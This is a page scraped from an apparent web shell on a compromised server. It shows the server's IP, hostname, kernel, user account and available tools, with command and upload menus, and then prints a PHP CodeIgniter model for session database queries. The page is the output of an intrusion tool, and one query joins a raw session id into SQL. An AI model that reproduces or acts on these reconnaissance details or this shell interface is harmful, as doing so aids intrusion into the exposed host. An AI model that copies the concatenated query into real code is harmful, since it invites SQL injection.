GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.149.235.66
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../cas/assets/../application/models/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../cas/assets/../application/models/admin/SessionManagement.php
<?php

/**
 * Model Class For Handling All DB Operations Related To Sessions
 *
 * @author Softpro India Pvt. Ltd.
 */
defined('BASEPATH') OR exit('No direct script access allowed');

class SessionManagement extends CI_Model {

    function createNewSession(array $newSessionInfo) {
        $this->db->insert('tbl_session_master', $newSessionInfo);
        return $this->db->insert_id();
    }

    function getAllSessions() {
        $this->db->select("TSM.session_id,TSM.session_name,TSM.session_desc,TSM.session_active_status,TSM.session_delete_status,"
                . "TSM.session_added_by,TSM.session_added_on,TSM.session_updated_by,TSM.session_updated_on,TSM.session_status,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('tbl_session_master TSM');
        $this->db->join('tbl_staff_members TSMA', 'TSM.session_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'TSM.session_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->order_by("TSM.session_updated_on", "desc");
        return $this->db->get();
    }

    function getCurrentSessionInfo() {
        $this->db->select("*");
        $this->db->from('tbl_session_master TSM');
        $this->db->where('TSM.session_status', "C");
        $this->db->where('TSM.session_active_status', "T");
        $this->db->where('TSM.session_delete_status', "F");
        return $this->db->get();
    }

    function getSessionInfoBy($sessionId) {
        $this->db->select("*");
        $this->db->from('tbl_session_master TSM');
        $this->db->where('TSM.session_id', $sessionId);
        return $this->db->get();
    }

    function getSessionInfoByName($sessionName) {
        $this->db->select("*");
        $this->db->from('tbl_session_master TSM');
        $this->db->where('TSM.session_name', $sessionName);
        return $this->db->get();
    }

    function getNonDeletedSessions() {
        $this->db->select("*");
        $this->db->from('tbl_session_master TSM');
        $this->db->where('TSM.session_delete_status', 'F');
        $this->db->order_by("TSM.session_updated_on", "desc");
        return $this->db->get();
    }

    function getNonDeletedActiveSessions(array $session_status = []) {
        $this->db->select("*");
        $this->db->from('tbl_session_master TSM');
        $this->db->where('TSM.session_active_status', 'T');
        $this->db->where('TSM.session_delete_status', 'F');
        if (sizeof($session_status)) {
            $this->db->where_in("TSM.session_status", $session_status);
        }
        $this->db->order_by("TSM.session_name", "ASC");
        return $this->db->get();
    }

    function isSessionNameSafeUpdate($session_Id, $session_name) {
        $this->db->select("*");
        $this->db->from('tbl_session_master');
        $this->db->where('session_name', $session_name);
        $this->db->where('session_id != ' . $session_Id);
        $result = $this->db->get()->result();
        if (sizeof($result)) {
            return FALSE;
        } else {
            return TRUE;
        }
    }

    function updateSessionInfo(array $sessionUpdatedInfo, $allUpdate) {
        if ($allUpdate) {
            $this->db->where("session_status NOT IN ('N')");
            return $this->db->update('tbl_session_master', $sessionUpdatedInfo);
        } else {
            $this->db->where('session_id', $sessionUpdatedInfo['session_id']);
            return $this->db->update('tbl_session_master', $sessionUpdatedInfo);
        }
    }

}

KBHT - 2023